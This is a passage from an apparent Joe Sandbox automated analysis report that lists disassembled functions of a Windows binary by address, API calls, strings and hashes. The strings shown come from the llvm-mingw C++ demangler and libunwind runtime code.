                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: _assert
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$basi$basic_string$starts_with(SV, "basic_")
                                  • API String ID: 1222420520-1046023109
                                  • Opcode ID: 8a1932efec0281c9f68b659c12b67e82c76870f9f13c1bc956f51ccfae572d47
                                  • Instruction ID: 5a5e28259fe57fca0d30ff1aec25bc73a27630df037304005984939a43f043f1
                                  • Opcode Fuzzy Hash: 8a1932efec0281c9f68b659c12b67e82c76870f9f13c1bc956f51ccfae572d47
                                  • Instruction Fuzzy Hash: 00F096B3637A13C2E6609F08E440728A371EB48BA4F908230C52C02AD0DE2D9616C760
                                  Function 00007FF77970FBC0 Relevance: 7.7, APIs: 5, Instructions: 234COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$freememcpy
                                  • String ID:
                                  • API String ID: 2038854750-0
                                  • Opcode ID: a14b495c1d2ab2fb7fa7001a555ecdf9c52a2580ad9786f42b98ddf7beecf6c3
                                  • Instruction ID: f232c3ad53d3c86a78b2ea4566a0efbdd5c44242678345d9e3e980110769fbfc
                                  • Opcode Fuzzy Hash: a14b495c1d2ab2fb7fa7001a555ecdf9c52a2580ad9786f42b98ddf7beecf6c3
                                  • Instruction Fuzzy Hash: A691D1A3A2AA4682EF54AF1AD991379A7B1FB58FC4F848431CF4D47391DF2CD4628350
                                  Function 00007FF779704F60 Relevance: 7.7, APIs: 5, Instructions: 227COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc$malloc
                                  • String ID:
                                  • API String ID: 454241450-0
                                  • Opcode ID: c0b732543a884f7b52177f9fd860a4d077764d15161aa00754840a6817184501
                                  • Instruction ID: a32115f478c4b2908922a6d2515dc6e9bb0827ff784e62a844708a3069c67101
                                  • Opcode Fuzzy Hash: c0b732543a884f7b52177f9fd860a4d077764d15161aa00754840a6817184501
                                  • Instruction Fuzzy Hash: EF71D773A26B8682DA259F1AE8446ADB371FB58BC0F848531CF9D077A1DF3CD5528350
                                  Function 00007FF7797057A0 Relevance: 7.7, APIs: 5, Instructions: 217COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID:
                                  • API String ID: 471065373-0
                                  • Opcode ID: 2f7d11eb0644d44da1dbadc0eedc91ed27022fc7bc0ddba03700444f196e75e1
                                  • Instruction ID: d4124bc0280c37567f57179c886ecd8df99fceb573e15e3061d5fcfd6c26023b
                                  • Opcode Fuzzy Hash: 2f7d11eb0644d44da1dbadc0eedc91ed27022fc7bc0ddba03700444f196e75e1
                                  • Instruction Fuzzy Hash: 807171B3A26B4682EA65DF46E941269A771FB58BC0F848431DF9E07790EF3CE491C350
                                  Function 00007FF7796FF040 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 99COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$Last != First && "Calling back() on empty vector!"$std$struct
                                  • API String ID: 2803490479-3902771045
                                  • Opcode ID: dac1940aed7c4ebf5e6eaeff0607231698d0c583ff25a4c13798f383bb8af2b8
                                  • Instruction ID: 03890fa4e442d67ff6a5119025b8b76ada89c835e6b041d0ecbb547e1bfd1d12
                                  • Opcode Fuzzy Hash: dac1940aed7c4ebf5e6eaeff0607231698d0c583ff25a4c13798f383bb8af2b8
                                  • Instruction Fuzzy Hash: DC311233B3B68380EB159F15D50577AA6A6AB08BD0F854231CE5C4B390EF3CE492C320
                                  Function 00007FF7796F4D90 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 86COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: Once$ExecuteInit
                                  • String ID: cannot create thread specific key for __cxa_get_globals()$cannot zero out thread value for __cxa_get_globals()$execute once failure in __cxa_get_globals_fast()
                                  • API String ID: 689400697-2130391284
                                  • Opcode ID: 91adbefc2d04b81e052fcb574bb784da4279744b813a2942087cac727f191c56
                                  • Instruction ID: 3b9dedcf996769092eafc355570d8ab0bdfa4baac9ea2dc5a2b69920d439a7f2
                                  • Opcode Fuzzy Hash: 91adbefc2d04b81e052fcb574bb784da4279744b813a2942087cac727f191c56
                                  • Instruction Fuzzy Hash: EF215523F3B50392FA54BF15AC456B5E273AF98780FD04934D90D86AA1FE3CA5558360
                                  Function 00007FF7796F6DB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 139stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: strlen
                                  • String ID: +
                                  • API String ID: 39653677-2126386893
                                  • Opcode ID: 034d9eeac7ed9f065a3bffca9e980f61809d116cd8220f59320f650e106faf8c
                                  • Instruction ID: f31a6a794eb52299dd81ff0bcc22d387124103602d50ba1eb2eba7d2022d4753
                                  • Opcode Fuzzy Hash: 034d9eeac7ed9f065a3bffca9e980f61809d116cd8220f59320f650e106faf8c
                                  • Instruction Fuzzy Hash: E951D66363D6878BE734AE15E05067FF7B3E741754F844239DB9A87A81EB2CE5018B10
                                  Function 00007FF7797117D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: strlen
                                  • String ID: +
                                  • API String ID: 39653677-2126386893
                                  • Opcode ID: bd7113bcb185bcac57370222d55923cd67c9b6dee89d6d9374e4d696b49277c4
                                  • Instruction ID: 9f65447fcda4ba756ff14916e6116329312d8c09f14532bf068d7a1e30f25f42
                                  • Opcode Fuzzy Hash: bd7113bcb185bcac57370222d55923cd67c9b6dee89d6d9374e4d696b49277c4
                                  • Instruction Fuzzy Hash: 4151A52367D2838BE724EE25D05067EF7B1E7897D0F848535DBAA4BA81DB2CE501CB50
                                  Function 00007FF7796F8350 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: CaptureContextgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_init_local(cursor=%p, context=%p)
                                  • API String ID: 2386080382-2955335536
                                  • Opcode ID: 88fb065359ffd1b41ab9e8c7e360d3eec1f5404c89570d5450073f280386e48f
                                  • Instruction ID: 4b38ff7d0eccbf0222e0254104ed1959bfa3538e3fd461bb32473d508854ade5
                                  • Opcode Fuzzy Hash: 88fb065359ffd1b41ab9e8c7e360d3eec1f5404c89570d5450073f280386e48f
                                  • Instruction Fuzzy Hash: 3B614022959AC192F32A4B2CE4057F5B3B4FF94355F446211EFD912261FF3AA6E6C340
                                  Function 00007FF779711336 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: memset$fputc
                                  • String ID: 0
                                  • API String ID: 2903701566-4108050209
                                  • Opcode ID: a0d3a5661ce36724ce4f0edf4d6f76673b84bc3000fc61610cd582833da42273
                                  • Instruction ID: d056e5568aab7f9dcd47d738724253de48339974428dc060033318adb474caf8
                                  • Opcode Fuzzy Hash: a0d3a5661ce36724ce4f0edf4d6f76673b84bc3000fc61610cd582833da42273
                                  • Instruction Fuzzy Hash: EC412A53E7A283C3F775EE259040379A6E1AB59BC0F845530CE6A5A6C1EA3CF840C3A4
                                  Function 00007FF7796F86C0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 84COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fflushgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_set_reg(cursor=%p, regNum=%d, value=0x%llx)
                                  • API String ID: 1137233558-2498214732
                                  • Opcode ID: 2626be18dc42d8a8097e90423a9df2a82f05378c710c0b61fbde6bc6877379b2
                                  • Instruction ID: 0b4d3ca60785e8bf6772990839f2afe320a4fca5e0eb6087f81b34da6fa0caaf
                                  • Opcode Fuzzy Hash: 2626be18dc42d8a8097e90423a9df2a82f05378c710c0b61fbde6bc6877379b2
                                  • Instruction Fuzzy Hash: 39318127A3AA4781EB10AF1AE840379E772AB99FD4F940136CE4E537A0DE3CD8458350
                                  Function 00007FF7796F29A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: CCG
                                  • API String ID: 0-1584390748
                                  • Opcode ID: bca2953d2b6e64a94037ce9de8f585ddac2b29dba40fb9bb50120e72cae4939b
                                  • Instruction ID: 200c29fe83fe9518e12fc2f8cda816cbce9e90154427ce65a0977144ab9d0d76
                                  • Opcode Fuzzy Hash: bca2953d2b6e64a94037ce9de8f585ddac2b29dba40fb9bb50120e72cae4939b
                                  • Instruction Fuzzy Hash: C521B123E7F50382FA747E1895903BB9163DF84760F948732CD0E872C5ED6CA8C18A61
                                  Function 00007FF77970149D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 70COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • starts_with(Res, "operator") && "operator name does not start with 'operator'", xrefs: 00007FF779701E55
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h, xrefs: 00007FF779701E5C
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: mallocstrlen
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$starts_with(Res, "operator") && "operator name does not start with 'operator'"
                                  • API String ID: 770973918-3503049562
                                  • Opcode ID: 7ad9bc6fb11ea0c1023f7e788617ed7f8260cd34674b678aa8a858bf99d7ee5a
                                  • Instruction ID: fd458458358c6078ef38aed51ecfdef3befa2930df11970b3a8cf88309c9beba
                                  • Opcode Fuzzy Hash: 7ad9bc6fb11ea0c1023f7e788617ed7f8260cd34674b678aa8a858bf99d7ee5a
                                  • Instruction Fuzzy Hash: 2831F33363A78286EA55DF28D8043A8B7B4EB49B81F854235DE5C47391EE38E586C360
                                  Function 00007FF779701215 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  • starts_with(Res, "operator") && "operator name does not start with 'operator'", xrefs: 00007FF779701E55
                                  • /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h, xrefs: 00007FF779701E5C
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc$_assertstrlen
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$starts_with(Res, "operator") && "operator name does not start with 'operator'"
                                  • API String ID: 3012236610-3503049562
                                  • Opcode ID: 80f2192df68dbc29744cb51aa87aac9d3ce2de7a8ecce5c615236e9c91d40759
                                  • Instruction ID: 431d40e2d8e8adb2530b8cba703ced52c27b9fe8c9121033a8c03361c4e5a4ef
                                  • Opcode Fuzzy Hash: 80f2192df68dbc29744cb51aa87aac9d3ce2de7a8ecce5c615236e9c91d40759
                                  • Instruction Fuzzy Hash: 7021E43322674289EB55DB18A4097A977B8EB08BC1F840636EE5C077A1EE38E546C360
                                  Function 00007FF77970C460 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: realloc
                                  • String ID: [enable$_if:
                                  • API String ID: 471065373-3342140569
                                  • Opcode ID: 32ce757cdf94413e0a34cfbba9be9b52abb9da3bc6a676b3070354fd22958f46
                                  • Instruction ID: ab20317ac290e72f4de4d44d308474ec3ddeeb0ba2c766117cd6045a9d4efdc8
                                  • Opcode Fuzzy Hash: 32ce757cdf94413e0a34cfbba9be9b52abb9da3bc6a676b3070354fd22958f46
                                  • Instruction Fuzzy Hash: A81150F3A26B4782DA18AF06F95426DA362EB98BC0F94C531CB4E477A1EE3CD4418350
                                  Function 00007FF7796F8600 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 54COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fflushgetenv
                                  • String ID: LIBUNWIND_PRINT_APIS$libunwind: __unw_get_reg(cursor=%p, regNum=%d, &value=%p)
                                  • API String ID: 1137233558-3294674404
                                  • Opcode ID: 9cb7dbdd395e0dc0e117b359f92bc1a8fce241447a1837db2b0fbb34ec30046f
                                  • Instruction ID: 17622783c1453f3d0c8fabd0b811f6a229554baa868a365a4131c0bd7fb612d2
                                  • Opcode Fuzzy Hash: 9cb7dbdd395e0dc0e117b359f92bc1a8fce241447a1837db2b0fbb34ec30046f
